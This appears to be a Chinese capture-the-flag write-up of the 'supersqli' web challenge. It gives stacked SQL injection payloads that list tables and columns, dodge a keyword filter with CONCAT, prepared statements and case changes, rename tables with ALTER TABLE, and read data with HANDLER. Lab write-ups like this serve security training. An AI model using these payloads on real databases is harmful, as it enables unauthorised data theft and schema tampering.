攻防世界-web-高手進階區017-supersqli
方法一:
1.輸入1’發現不回顯,然後1’ #顯示正常,應該是存在sql注入了
2.order by 2的時候是正常回顯了,order by 3就出錯了,只有2個欄位,這時候用union select進行聯合查詢,發現關鍵字被正則過濾
3.嘗試堆疊注入
-1';show tables --+
4.檢視欄位,
-1';show columns from `1919810931114514` --+
-1';show columns from `words` --+
5.檢視值,需要繞過select的限制,我們可以使用預編譯的方式
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分開來如下:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #
6.這裡用strstr函式過濾了set和prepare關鍵詞,但strstr這個函式並不能區分大小寫,我們將其大寫即可。
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
方法二:
1.由上面的探測我們可以猜測出這裡會查詢出words表的data列的結果。也就是類似於下面的sql語句:
select * from words where id = '';
2.我們將表1919810931114514名字改為words,flag列名字改為id,那麼就能得到flag的內容了。
修改表名和列名的語法如下:
修改表名(將表名user改為users)alter table user rename to users;
修改列名(將欄位名username改為name)alter table users change uesrname name varchar(30);
3.最終payload如下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分開來如下:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.然後使用1' or 1=1#即可查詢出flag
方法三:
使用handler查詢,payload如下:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#